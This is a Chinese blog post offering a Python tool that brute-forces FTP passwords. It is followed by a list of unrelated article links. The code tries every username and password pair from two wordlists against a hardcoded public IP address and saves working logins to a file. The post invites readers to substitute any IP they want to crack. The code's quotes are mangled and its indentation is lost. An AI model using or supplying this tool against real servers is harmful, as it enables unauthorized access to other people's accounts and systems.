python编写暴力破解FTP密码小工具


Posted in Python onNovember 19, 2014

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

import os 

import time 

import threading
class mythread(threading.Thread): 

def __init__(self,command): 

threading.Thread.__init__(self) 

self.command=command 

def run(self): 

kk=os.system(self.command) 

ushand=open(“user.txt”,”r”) 

pshand=open(“passwd.txt”,”r”) 

listuser=[] 

listpass=[] 

for us in open(“user.txt”,”r”): 

lineus=ushand.readline().strip(‘\n') 

listuser.append(lineus) 

for ps in open(“passwd.txt”,”r”): 

lineps=pshand.readline().strip(‘\n') 

listpass.append(lineps) 

for i in listuser: 

for j in listpass: 

command=”ftp.py %s %s” %(i,j) 

print command 

my_thread=mythread(command) 

my_thread.start() 

time.sleep(0.1)

相应的ftp.py文件里面的代码如下

import ftplib 

import socket 

import sys 

ftp=ftplib.FTP('121.54.175.204′) 

try: 

user=sys.argv[1] 

passwd=sys.argv[2] 
ftp.login(user,passwd) 

hand=open(‘aa.txt','a+') 

hand.write(user+”:”+passwd+”\n”) 

except ftplib.error_perm: 

print “passwd is world”

由于插不近格式,里面的缩进的什么的得自己手动再调节一下

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

Python 相关文章推荐
python中使用urllib2获取http请求状态码的代码例子
Jul 07 Python
Python实现的破解字符串找茬游戏算法示例
Sep 25 Python
情人节快乐! python绘制漂亮玫瑰
Aug 18 Python
Apache部署Django项目图文详解
Jul 30 Python
python元组的概念知识点
Nov 19 Python
Python requests设置代理的方法步骤
Feb 23 Python
Django框架获取form表单数据方式总结
Apr 22 Python
python实现五子棋程序
Apr 24 Python
django 模型中的计算字段实例
May 19 Python
python3.7+selenium模拟淘宝登录功能的实现
May 26 Python
Python中bisect的用法及示例详解
Jul 20 Python
详解Python 中的容器 collections
Aug 17 Python
用python读写excel的方法
Nov 18 #Python
kNN算法python实现和简单数字识别的方法
Nov 18 #Python
决策树的python实现方法
Nov 18 #Python
linux 下实现python多版本安装实践
Nov 18 #Python
centos 下面安装python2.7 +pip +mysqld
Nov 18 #Python
朴素贝叶斯算法的python实现方法
Nov 18 #Python
使用django-suit为django 1.7 admin后台添加模板
Nov 18 #Python
You might like
PHP校验ISBN码的函数代码
2011/01/17 PHP
ajax在joomla中的原生态应用代码
2012/07/19 PHP
php json_encode()函数返回json数据实例代码
2014/10/10 PHP
php实现基于微信公众平台开发SDK(demo)扩展的方法
2014/12/22 PHP
浅谈使用PHP开发微信支付的流程
2015/10/04 PHP
简单介绍PHP非阻塞模式
2016/03/03 PHP
利用Homestead快速运行一个Laravel项目的方法详解
2017/11/14 PHP
详解php用static方法的原因
2018/09/12 PHP
在父页面调用子页面的JS方法
2013/09/29 Javascript
jquery插件corner实现圆角边框的方法
2015/03/09 Javascript
谈谈我对JavaScript原型和闭包系列理解(随手笔记6)
2015/12/20 Javascript
微信小程序 action-sheet底部菜单详解
2016/10/27 Javascript
js实现添加删除表格(两种方法)
2017/04/27 Javascript
node.JS事件机制与events事件模块的使用方法详解
2020/02/06 Javascript
原生JS封装拖动验证滑块的实现代码示例
2020/06/01 Javascript
vue3.0搭配.net core实现文件上传组件
2020/10/29 Javascript
如何在 Vue 中使用 JSX
2021/02/14 Vue.js
[01:02:05]LGD vs Mineski 2018国际邀请赛小组赛BO2 第一场 8.19
2018/08/21 DOTA
浅析Python中的赋值和深浅拷贝
2017/08/15 Python
Python排序搜索基本算法之归并排序实例分析
2017/12/08 Python
Python基于csv模块实现读取与写入csv数据的方法
2018/01/18 Python
Python3自动签到 定时任务 判断节假日的实例
2018/11/13 Python
python中怎么表示空值
2020/06/19 Python
python asyncio 协程库的使用
2021/01/21 Python
YOOX美国官方网站:全球著名的多品牌时尚网络概念店
2016/09/11 全球购物
幼儿园国庆节活动方案
2014/02/01 职场文书
《猴子种树》教学反思
2014/02/14 职场文书
《冬阳童年骆驼队》教学反思
2014/04/15 职场文书
计算机专业毕业生自荐书
2014/06/02 职场文书
护理专业求职信
2014/06/15 职场文书
材料化学专业求职信
2014/07/15 职场文书
学习教师敬业奉献模范事迹材料思想汇报
2014/09/19 职场文书
预备党员转正党小组意见
2015/06/01 职场文书
公司员工宿舍管理制度
2015/08/07 职场文书
如何正确理解python装饰器
2021/06/15 Python
Echarts如何重新渲染实例详解
2022/05/30 Javascript